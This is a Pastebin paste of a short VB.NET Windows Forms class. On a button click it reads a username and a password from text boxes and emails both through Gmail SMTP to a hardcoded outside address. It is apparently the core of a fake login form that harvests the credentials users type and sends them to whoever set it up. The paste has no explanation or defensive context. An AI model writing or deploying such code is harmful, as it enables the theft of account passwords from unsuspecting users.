Guest User

Untitled

a guest
Apr 21st, 2018
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3. Public Class Form1
  4.  
  5. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  6. Dim smtpServer As New SmtpClient()
  7. Dim mail As New MailMessage()
  8. smtpServer.Credentials = New Net.NetworkCredential("email", "password")
  9. 'using gmail
  10. smtpServer.Port = 587
  11. smtpServer.Host = "smtp.gmail.com"
  12. smtpServer.EnableSsl = True
  13. mail = New MailMessage()
  14. mail.From = New MailAddress("email")
  15. mail.To.Add("nukethis2011@gmail.com")
  16. mail.Subject = "Username: " & TextBox1.Text
  17. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox3.Text
  18. smtpServer.Send(mail)
  19.  
  20.  
  21.  
  22. End Sub
  23.  
  24. End Class
Add Comment
Please, Sign In to add comment